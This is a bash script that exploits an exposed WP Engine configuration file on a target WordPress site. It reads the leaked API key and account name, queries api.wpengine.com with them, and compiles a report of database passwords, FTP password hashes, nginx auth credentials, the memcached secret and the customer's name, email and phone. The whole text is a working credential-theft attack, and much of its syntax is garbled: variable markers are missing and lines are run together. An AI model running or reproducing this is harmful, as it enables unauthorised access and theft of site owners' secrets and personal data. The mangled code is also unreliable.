#!/bin/bash
TARGET=$1
TARGETDOMAIN=(echoTARGET | cut -d/ -f3)
RESET='\033[00m'
GREEN='\033[01;32m'
BLUE='\033[01;34m'
echo -e BLUE"−−−−−−−−−−−−−−−−−−−−−−−−Downloadingw′peprivate/config.json′−−−−−−−−−−−−−−−−−−−−−−−−−"{RESET}
echo -e GREEN"curl−soTARGETDOMAIN-config.json -k TARGET/wpeprivate/config.json"{RESET}
curl -so TARGETDOMAIN−config.json−kTARGET/_wpeprivate/config.json
WPEAPIKEY=(jq′.′TARGETDOMAIN-config.json | grep wpengine_apikey | awk '{print $2}' | cut -d, -f1 | sed 's/"//g')
ACCOUNTNAME=(jq′.′TARGETDOMAIN-config.json | grep WPENGINE_ACCOUNT | awk '{print $2}' | cut -d, -f1 | sed 's/"//g' | sort -u)
echo -e BLUE"\n−−−−−−−−−−−−−−−−−−−−−−−−−−Make1stAPICalltoapi.wpengine.com−−−−−−−−−−−−−−−−−−−−−−−"{RESET}
echo -e GREEN"curl−soACCOUNTNAME-site.json -k https://api.wpengine.com/1.2/?method=site&account_name=$ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"${RESET}
curl -so ACCOUNTNAME-site.json -k "https://api.wpengine.com/1.2/?method=site&account_name=ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"
echo -e BLUE"\n−−−−−−−−−−−−−−−−−−−−−−−−−−Make2ndAPICalltoapi.wpengine.com−−−−−−−−−−−−−−−−−−−−−−−"{RESET}
echo -e GREEN"curl−soACCOUNTNAME-customer.json -k https://api.wpengine.com/1.2/?method=customer-record&account_name=$ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"${RESET}
curl -so ACCOUNTNAME-customer.json -k "https://api.wpengine.com/1.2/?method=customer-record&account_name=ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"
echo -e BLUE"\n−−−−−−−−−−−−−−−−−−−−−−−−−−−−−Report−(echo TARGETDOMAIN)−(echo ACCOUNTNAME)−−−−−−−−−−−−−−−−−−−−−−−−−−−−−"{RESET}
echo -e BLUE"ConfigurationInfo−"{GREEN} >> ACCOUNTNAME−report.txtgrep−E′(site)′ACCOUNTNAME-site.json | cut -d" -f2-4 | sed 's/"//g' >> ACCOUNTNAME−report.txtgrep−E′(servername)∣(wpversion)′ACCOUNTNAME-site.json | cut -d" -f2-4 | sed 's/"//g' >> $ACCOUNTNAME-report.txt
echo -e BLUE"\nDomains−"{GREEN} >> ACCOUNTNAME−report.txtjq−r′.alldomains′ACCOUNTNAME-site.json | sed ':a;N;!ba;s/\n//g′∣sed′s∣["[]∣∣g′∣sed′s///g′∣cut−d]−f1>>ACCOUNTNAME-report.txt
echo -e BLUE"\nDatabaseInfos−"{GREEN} >> ACCOUNTNAME−report.txtecho"dbpassword:"(jq -r '.db_password' ACCOUNTNAME−site.json)>>ACCOUNTNAME-report.txt
echo -e "db_password_encryption" >> ACCOUNTNAME−report.txtjq−r′.dbpasswordencryption′ACCOUNTNAME-site.json | sed -e ′s/,/\n/g′∣sed′s∣[",]∣∣g′>>ACCOUNTNAME-report.txt
echo -e BLUE"\nFTPUsersandPasswordHashes−"{GREEN} >> ACCOUNTNAME−report.txtjq′.ftpusers∣toentries[]′ACCOUNTNAME-site.json | sed 's|[{},]||g' | awk '{print $1 $2}' | sed 's/"//g' | grep -vE '(value:)|(^)' | sed 's/path:/&\n/g' >> ACCOUNTNAME-report.txt
echo -e BLUE"NginxAuth−"{GREEN} >> ACCOUNTNAME−report.txtjq−r′.nginxbasicauthstaging′ACCOUNTNAME-site.json | grep -E '(user)|(password)' | cut -d" -f2-4 | sed 's/"//g' >> $ACCOUNTNAME-report.txt
echo -e BLUE"\nMiscellaneous−"{GREEN} >> ACCOUNTNAME−report.txtgrep−E′(gopherenabled)∣(memcachedsecret)′ACCOUNTNAME-site.json | cut -d" -f2-4 | sed 's/"//g'|sed 's/,//' >> $ACCOUNTNAME-report.txt
echo -e BLUE"\nUserInfo−"{GREEN} >> ACCOUNTNAME−report.txtecho"domain:"(jq -r '.domain' ACCOUNTNAME−customer.json)>>ACCOUNTNAME-report.txt
echo "account_id:"(jq−r′.accountid′ACCOUNTNAME-customer.json) >> ACCOUNTNAME−report.txtecho"accounttype:"(jq -r '.account_type' ACCOUNTNAME−customer.json)>>ACCOUNTNAME-report.txt
echo "full_name:"(jq−r′.fullname′ACCOUNTNAME-customer.json) >> ACCOUNTNAME−report.txtecho"email:"(jq -r '.email' ACCOUNTNAME−customer.json)>>ACCOUNTNAME-report.txt
echo "phone:"(jq−r′.phone′ACCOUNTNAME-customer.json) >> $ACCOUNTNAME-report.txt
echo -e GREENcatACCOUNTNAME-report.txt
echo -e BLUE"−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−"{RESET}